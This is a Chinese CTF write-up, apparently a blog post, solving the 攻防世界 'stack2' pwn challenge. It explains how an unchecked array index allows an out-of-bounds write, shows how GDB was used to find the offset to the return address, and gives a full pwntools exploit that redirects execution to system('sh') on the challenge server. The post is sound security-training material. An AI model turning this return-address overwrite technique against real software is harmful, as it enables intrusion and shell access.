攻防世界PWN进阶区(stack2)

stack2

哈,我又回来了
在借助了诸多wp后终于把这道题弄明白了,记录一下
攻防世界PWN进阶区(stack2)_第1张图片
32位程序,有NX,有Canary。
攻防世界PWN进阶区(stack2)_第2张图片
运行可以发现它可以创建一个存储数字的数组,创建好以后我们可以对其中的数据进行一些基本的操作,ok,接下来开始硬刚IDA
攻防世界PWN进阶区(stack2)_第3张图片
通过观察main函数伪代码我们可以发现上图这个位置有点小问题
这个时对数据进行修改的部分的代码,但可以发现他并没有对v5这个变量进行审查。这代表着什么呢,这代表着我们可以修改数组以及数组后面的任何数据。
ok,接下来来思考如何利用这个点
在左侧的函数栏里我们可以发现一个有意思的函数名“hackhere”,点进去后可以发现里面有我们需要的system(“/bin/sh”),那么思路就很清晰了,我们只要找到一个可以利用的函数,将它的返回值改成我们需要去的地方就行了

纵观全文可以发现能利用的也就main函数了,利用位置也就是上面我们发现有小问题的哪儿。
可以发现那一处是更改数组中元素的值,那么,如果要更改返回位置的话我们就要去计算main函数返回位置距离数组的偏移是多少了。

整个题的难点在我看来就是这儿了,不知道其他师傅怎么弄的,我是费了好半天功夫了(感谢那些写wp的师傅们,辛苦了)…
以下借助faceless师傅的思路和过程

因为程序在一开始会给数组赋初值,并且这个过程是我们可以参与的。
考虑到一般的数组赋值会从首位开始,我们可以猜想,如果我们知道我们写入程序的第一个数据的存储位置是否我们就知道了数组的首地址?

那么首先,我们来求这个地址

程序一开始会给数组赋值,我们来看一下这一块的伪代码和汇编
攻防世界PWN进阶区(stack2)_第4张图片

攻防世界PWN进阶区(stack2)_第5张图片
从汇编中可以看到程序通过scanf将数据存储到栈中,然后通过eaxecx将数据存储到eax中存放的地址中去(cl是ecx的低位)

那意味着在程序运行到0x080486D5的位置时,此时eax中存放的即时数组的首地址
linux下我们用gdb调试的看一下

我们在0x080486D5的位置下个断点,输入点全部输入1(如下)
攻防世界PWN进阶区(stack2)_第6张图片
我们来看看此时的各寄存器
攻防世界PWN进阶区(stack2)_第7张图片
可以看到此时寄存器ecx中就是我们输入的1,而eax中的地址是0xffffd5b8

我们来验证一下看看我们做的对不对,分别看看这步前后栈中数据的变化攻防世界PWN进阶区(stack2)_第8张图片攻防世界PWN进阶区(stack2)_第9张图片
可以看到d5b8的位置数据由0x000000e0变成了0x00000001,说明我们找的没问题,ok,数组首地址找到了。
接下来的问题就是如何去找函数的返回地址了,这个就简单的多了,我们知道当函数运行到return语句的时候,栈顶一定是返回地址。
继续用gdb调试
攻防世界PWN进阶区(stack2)_第10张图片
通过esp我们知道这个值是0xffffd63c,和首地址做差是0x84

ok,接下来就可以写exp了,通过其他师傅的wp和测试可以知道环境中是没有 /bin/sh 的,无伤大雅,我们利用它中间的sh就行,然后rop
exp如下

from pwn import *
#context.log_level = 'debug'

r = remote("111.198.29.45", 54649)
#r = process("./stack2")

r.recvuntil("How many numbers you have:\n")
r.sendline("1")
r.recvuntil("Give me your numbers\n")
r.sendline("1")

def change(addr, num):
    r.recvuntil("5. exit\n")
    r.sendline("3")
    r.recvuntil("which number to change:\n")
    r.sendline(str(addr))
    r.recvuntil("new number:\n")
    r.sendline(str(num))

change(0x84, 0x50)
change(0x85, 0x84)
change(0x86, 0x04)
change(0x87, 0x08)
change(0x8c, 0x87)
change(0x8d, 0x89)
change(0x8e, 0x04)
change(0x8f, 0x08)

r.sendline("5")

r.interactive()

看看效果
攻防世界PWN进阶区(stack2)_第11张图片
ok完结,有不清楚的可以留言讨论

最后放一下我的博客(www.sailingplace.cn),有兴趣的可以来看看(萌新的小天地,师傅们别喷哈)

你可能感兴趣的:(pwn,攻防世界)